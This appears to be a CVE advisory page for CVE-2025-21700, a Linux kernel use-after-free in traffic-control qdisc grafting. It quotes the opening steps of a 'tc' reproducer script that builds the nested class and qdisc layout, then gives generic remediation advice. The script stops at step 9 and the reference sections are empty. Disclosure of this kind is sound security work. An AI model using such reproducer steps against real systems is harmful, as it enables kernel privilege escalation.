CVE-2025-21700

Technical Description

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege

escalation with the following script

Step 1. create root qdisc

tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf

tc class add dev lo classid 1:1 drr

step3. a class for nesting

tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to

tc class add dev lo classid 1:3 drr

step5.

tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.

tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.

tc class add dev lo classid 3:1 drr

step 8.

tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo

class drr 1:1 root leaf 2: quantum 64Kb

class drr 1:2 root leaf 3: quantum 64Kb

class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls

qdisc drr 1: dev lo root refcnt 2

Remediation

Check the references section for vendor advisories and patches from linux. Update linux_kernel to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

Affected Products

References